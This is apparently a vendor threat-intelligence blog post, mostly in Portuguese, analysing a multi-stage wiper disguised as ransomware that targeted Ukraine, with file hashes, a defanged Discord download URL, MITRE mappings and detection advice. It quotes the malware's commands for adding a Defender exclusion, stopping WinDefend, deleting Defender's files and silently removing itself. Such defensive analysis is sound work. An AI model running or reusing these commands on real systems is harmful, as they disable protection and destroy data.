Faça um tour pelo produto Solicite uma demonstração Avaliação de segurança cibernética Fale conosco

Stories

The latest cybersecurity trends, best practices,
security vulnerabilities, and more

Retorno do pseudorransomware

Notícias recentes de uma campanha de “ransomware” direcionada à Ucrânia resultaram em uma cobertura significativa da imprensa sobre não apenas a atribuição, mas também a possível motivação. Unlike traditional ransomware campaigns where the motive is obvious, this particular campaign is believed to be pseudo in nature1. Em outras palavras, sua intenção provavelmente é a de causar a destruição dos sistemas infectados, uma vez que o apagador no estágio 4 simplesmente sobrescreve dados no sistema da vítima, o que significa que nenhuma descriptografia é possível. Embora a campanha tenha como alvo em grande parte um país, a equipe do Advanced Threat Research da Trellix publicou uma campanha do MVISION Insights para acompanhar a ameaça que destaca quais indicadores foram encontrados em outros países. (Detalhes adicionais)

Fonte: Prévia do Insights

Depois disso, recomendamos enfaticamente que as organizações se certifiquem de que sua postura de segurança tenha os controles necessários para detectar e proteger contra a ameaça. Indicadores de comprometimento para caça ativa estão disponíveis na prévia, e incorporamos todos os indicadores conhecidos em nossos produtos. Além disso, o trabalho continua para garantir que possamos identificar quaisquer novos elementos desse ataque à medida que eles surgem.

Detalhes da campanha

As primeiras amostras e indicadores foram relatadas na quinta-feira, 13 de janeiro, no final da noite (horário UTC), que seria por volta de uma da manhã na Ucrânia.

The attack consists of three stages, as can be seen below.

Figura 1: fluxo de ataque

Estágio 1: sobrescreve o MBR e destrói todas as partições
Os arquivos iniciais descobertos foram:

Nome do arquivo Stage1.exe
Data da compilação 01-10-2022 10:37:18
SHA1 189166d382c73c242ba45889d57980548d4ba37e
SHA256 a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92
MD5 5d5c99a08a7d927346ca2dafa7973fc1

Estágio 2: faz download do estágio 3 via CDN hospedado pelo Discord

Nome do arquivo Stage2.exe (originalmente Tbopbh.exe)
Data da compilação 01-10-2022 14:39:54
SHA1 16525cb2fd86dce842107eb1ba6174b23f188537
SHA256 dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78
MD5 14c8482f302b5e81e3fa1b18a509289d

Estágio 3: executa o apagador de arquivos

Nome do arquivo Frkmlkdkdubkznbkmcf.dll
SHA1 82d29b52e35e7938e7ee610c04ea9daaf5e08e90
SHA256 9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d
MD5 e61518ae9454a563b8f842286bbdb87b

O caminho do arquivo de ambos os executáveis era “C:\”. Brincadeiras à parte, os arquivos realmente foram nomeados assim.

Ambos os arquivos têm um caráter destrutivo, como observamos durante nossa análise das amostras.

Estágio 1: a regravação do registro mestre de Inicialização (MBR)

Ao começar com o primeiro estágio, “Stage1.exe”, ele se impõe como ransomware após a execução, onde substitui o Master Boot Record (MBR). Depois de executar o malware em uma MV e reiniciar a máquina, a seguinte nota aparece:

Como na maioria das notas de ransomware, a linguagem habitual está presente: uma notificação de que o dispositivo foi criptografado, e que os arquivos estão sendo mantidos reféns, juntamente com um endereço de pagamento para enviar o valor exigido para, na moeda solicitada. Neste caso, que é raro, uma ID TOX está incluída. O TOX é usado para conversas criptografadas de ponta a ponta via conexões peer-to-peer.

Embora diferentes variantes tenham sido analisadas, a quantia e o endereço BTC permaneceram os mesmos, o que na maioria das operações de ransomware como um serviço muda, usando mescladores de bits para ocultar transações.

Analisando o código, não foi observado código algum para excluir cópias de sombra de volume ou bloquear o processo de inicialização do modo de recuperação, que muitas vezes é usado para remover malware e/ou restaurar operações. Essas etapas são muito comuns na maioria das amostras de ransomware.

No trecho de código abaixo, observamos o malware acessando a unidade física, que é onde o MBR reside, e em seguida ele substituirá o referido MBR.

Estágio 2: o downloader do Discord

The ‘Stage2’ file is using an icon that resembles the icon of the proxy client “Proxifier”. Os autores tentaram evitar a detecção assinando a amostra com um certificado e fazendo-se passar por um binário da Microsoft pertencente ao sistema operacional. Os metadados anexados ao arquivo são russos, como pode ser visto na captura de tela abaixo. O título e a descrição do conjunto são iguais a “Проводник” (ou “Maestro”, em inglês), como pode ser visto nas linhas 24 e 25 na captura de tela abaixo.

Quando executado, Stage2 executa um comando PowerShell codificado, fornecido abaixo.

powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==

Uma vez que o comando codificado base64 é decodificado, o comando real aparece: um sleep de dez segundos para atrasar a execução:

Powershell.exe Start-Sleep -s 10

Em seguida, o malware faz download de um arquivo chamado “Tbopbh.jpg” de um servidor CDN do Discord.

hxxps://cdn[.]discordapp[.]com/attachments/928503440139771947/930108637681184768/Tbopbh[.]jpg

Nome do arquivo Tbobph.jpg
SHA1 b2d863fc444b99c479859ad7f012b840f896172e
SHA256 923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6
MD5 b3370eb3c5ef6c536195b3bea0120929

O arquivo não é uma imagem, mas sim um arquivo PE invertido. Antes de sua invocação, os dados são invertidos em ordem. O arquivo é uma DLL baseada no DotNet Framework, onde o ponto de partida do estágio 3 é invocado reflexivamente, como pode ser visto no trecho abaixo.

A função estática no terceiro estágio é chamada de "Ylfwdwgmpilzyaph" e reside em "ClassLibrary1.Main" como namespace e classe, respectivamente. A função não tem argumentos e não retorna valor algum.

Estágio 3: um carregador reutilizado

Nome do arquivo Frkmlkdkdubkznbkmcf.dll
SHA1 82d29b52e35e7938e7ee610c04ea9daaf5e08e90
SHA256 9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d
MD5 e61518ae9454a563b8f842286bbdb87b

Esta etapa também é um binário DotNet Framework, como pode se deduzir pela invocação reflexiva na etapa anterior. O carregador usado é mais comum e geralmente é usado para espalhar malware ordinário. As described in this recent Twitter thread, the xClient RAT was also distributed via this loader family.

O carregador inicia vários processos durante sua execução e, em seguida, usa o esvaziamento de processos para injetar e executar o estágio 4. A princípio, o carregador se certifica de que tem privilégios administrativos. Se não tiver, o processo é reiniciado enquanto solicita esses privilégios.

The first process it starts, is a file it drops to “%temp%\Nmddfrqqrbyjeygggda.vbs”. O conteúdo deste arquivo é bastante pequeno, como pode ser visto abaixo.

CreateObject("WScript.Shell").Run "powershell Set-MpPreference -ExclusionPath 'C:\'", 0, False

Isso exclui o “C:\” dos olhos atentos do Windows Defender. Como dito acima, os dois primeiros estágios foram encontrados exatamente nesse local, o que significa que sua estadia não será detectada pelas varreduras do Defender, uma vez que a exclusão esteja ativada.

The two processes that are started after that, utilise the same tool to execute commands: AdvancedRun by Nir Sofer. A versão usada (1.2.2.6, assinada na segunda-feira, 3 de agosto de 2020, às 5h45min51 por Nir Sofer) é um executável legítimo abusado por esse malware.

A primeira execução do AdvancedRun é usada para parar o Defender, usando uma janela invisível.

%temp%\AdvancedRun.exe /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run

A segunda execução do AdvancedRun é usada para remover completamente os arquivos do Defender do sistema.

%temp%\AdvancedRun.exe /EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run

Em seguida, o carregador usa a funcionalidade de interoperabilidade do DotNet Framework para executar código não gerenciado a partir de um contexto gerenciado. A lista de funções abaixo mostra quais funções não gerenciadas foram usadas, em ordem aleatória. Os nomes destes arquivos têm codificação base64 no carregador.

  • ResumeThread
  • Wow64SetThreadContext
  • SetThreadContext
  • GetThreadContext
  • VirtualAllocEx
  • WriteProcessMemory
  • ZwUnmapViewOfSection
  • CreateProcessA
  • CloseHandle
  • ReadProcessMemory

Estas chamadas de função indicam o uso da injeção de processo. Com base nisso, o quarto estágio pode ser iniciado. A análise dele segue abaixo.

Estágio 4: o apagador

Nome do arquivo -
SHA1 8be3c66aecd425f1f123aadc95830de49d1851b5
SHA256 191ca4833351e2e82cb080a42c4848cfbc4b1f3e97250f2700eff4e97cf72019
MD5 343fcded2aaf874342c557d3d5e5870d

O apagador é escrito em C e não contém símbolos nem outras informações de depuração. A função principal segue abaixo, com algumas anotações.

O malware itera por todas as unidades, onde apaga todos os arquivos que correspondam a quaisquer das 191 extensões a seguir.

.HTML, .HTM, .SHTML, .XHTML, .PHTML, .PHP, .JSP, .ASP, .PHPS, .PHP5, .ASPX, .PHP4, .PHP6, .PHP7, .PHP3, .DOC, .DOCX, .XLS, .XLSX, .PPT, PPTX, .PST, .OST, .MSG, .EML, .VSD, .VSDX, .TXT, .CSV, .RTF, .WKS, .WK1, .PDF, .DWG, .ONETOC2, .SNT, .JPEG, .JPG, .DOCB, .DOCM, .DOT, .DOTM, .DOTX, .XLSM, .XLSB, .XLW, .XLT, .XLM, .XLC, .XLTX, .XLTM, .PPTM, .POT, .PPS, .PPSM, .PPSX, .PPAM, .POTM, .EDB, .HWP, .602, .SXI, .STI, .SLDX, .SLDM, .BMP, .PNG, .GIF, .RAW, .CGM, .SLN, .TIF, .TIFF, .NEF, .PSD, .AI, .SVG, .DJVU, .SH, .CLASS, .JAR, .BRD, .SCH, .DCH, .DIP, .PL, .VB, .VBS, .PS1, .BAT, .CMD, .JS, .ASM, .H, .PAS, .CPP, .C, .CS, .SUO, .ASC, .LAY6, .LAY, .MML, .SXM, .OTG, .ODG, .UOP, .STD, .SXD, .OTP, .ODP, .WB2, .SLK, .DIF, .STC, .SXC, .OTS, .ODS, .3DM, .MAX, .3DS, .UOT, .STW, .SXW, .OTT, .ODT, .PEM, .P12, .CSR, .CRT, .KEY, .PFX, .DER, .OGG, .RB, .GO, .JAVA, .INC, .WAR, .PY, .KDBX, .INI, .YML, .PPK, .LOG, .VDI, .VMDK, .VHD, .HDD, .NVRAM, .VMSD, .VMSN, .VMSS, .VMTM, .VMX, .VMXF, .VSWP, .VMTX, .VMEM, .MDF, .IBD, .MYI, .MYD, .FRM, .SAV, .ODB, .DBF, .DB, .MDB, .ACCDB, .SQL, .SQLITEDB, .SQLITE3, .LDF, .SQ3, .ARC, .PAQ, .BZ2, .TBK, .BAK, .TAR, .TGZ, .GZ, .7Z, .RAR, .ZIP, .BACKUP, .ISO, .VCD, .BZ, .CONFIG

O processo de apagamento é mostrado no diagrama abaixo.

A lista de exclusões de nomes contém os seguintes nomes de arquivo: “.”, “..”, “$RECYCLE.BIN”, ou o valor da variável de ambiente chamada “HOMEDRIVE”.

Os nomes de arquivos que são longos demais não podem ser tratados corretamente usando o designador de disco, e é por isso que uma abordagem diferente deve ser adotada nesse sentido. Microsoft’s documentation describes all scenarios clearly, including the how and why.

Depois de concluído o apagamento, a segunda função dentro da função principal é chamada, o que garante que a execução assíncrona do comando dado e o encerramento de seu próprio processo levarão ao apagamento do arquivo do apagador, que já não está mais em uso nesse momento. O código segue abaixo.

O nome do módulo é copiado para o comando, que executa uma janela minimalizada onde uma solicitação de ping é emitida 5 vezes para “111.111.111.111”, com um tempo de espera de 10 milissegundos entre cada solicitação. A saída do comando é enviada para “Nul”, garantindo que a saída fique oculta. Além disso, o caminho para o apagador é usado como argumento para ser excluído à força e silenciosamente do disco. Isso fracassaria se o programa ainda estivesse em execução, e é por isso que o comando ping é executado primeiro. A função na captura de tela abaixo executa o comando dado e fecha todos os identificadores.

Finalmente, o ExitWindowsEx é chamado, usando EWX_SHUTDOWN como sinalizador, o que garante que todos os buffers de arquivo tenham sido liberados para o disco. A razão de desligamento fornecida está relacionada à conectividade de rede.

Técnicas do MITRE
T1059.001 PowerShell Uso do PowerShell para fazer download do arquivo do Discord e executá-lo.
T1485 Data Destruction Apagamento do MBR e/ou sobrescrita de arquivos para corrompê-los
T1059.005 Visual Basic Estágio 3 executando vbs com init Wscript.
T1562.004 Disable or Modify System firewall Estágio 3 desativando o Defender
T1112 Modify Registry Configurações de registro alteradas para desativar ferramentas
T1105 Ingress Tool Transfer Arquivos como Stage1.exe e Stage2.exe transferidos para dentro e através da rede.

Orientação defensiva

Inteligência sobre ameaças

O MVISION Insights fornece visibilidade antecipada do IOC relacionado a esta campanha e às detecções associadas, se houver em seu ambiente

O MVISION Insights também fornece sinais de predominância dentro do seu ambiente, combinando as detecções do ENS com a campanha e também fornecendo informações de rastreamento de processo para mostrar o fluxo de execução

Certifique-se de que suas definições AMCore do ENS estejam atualizadas e que o GTI e a proteção real estejam ativados

Figura 2: veja a seguir as detecções acionadas do ENS para os estágios 1 e 2

O MVISION EDR fornece total visibilidade sobre a execução dos processos da seguinte forma:

Aqui podemos ver o fluxo de comunicações para as cargas do segundo estágio e a intenção das execuções do script PowerShell

Criando uma investigação a partir das detecções de ameaças, podemos ver o uso de ferramentas de inteligência duplas, como PowerShell, cmd para executar comandos do sistema e fazer alterações no sistema e fazer download de cargas adicionais.


1 https://www.helpnetsecurity.com/2017/08/14/pseudo-ransomware/

Veja as últimas novidades

Nós conhecemos bem a segurança cibernética. Porém, somos uma empresa jovem.
Mantenha-se informado enquanto evoluímos.

Digite um endereço de e-mail válido.
Nenhum spam. Cancele a assinatura a qualquer momento.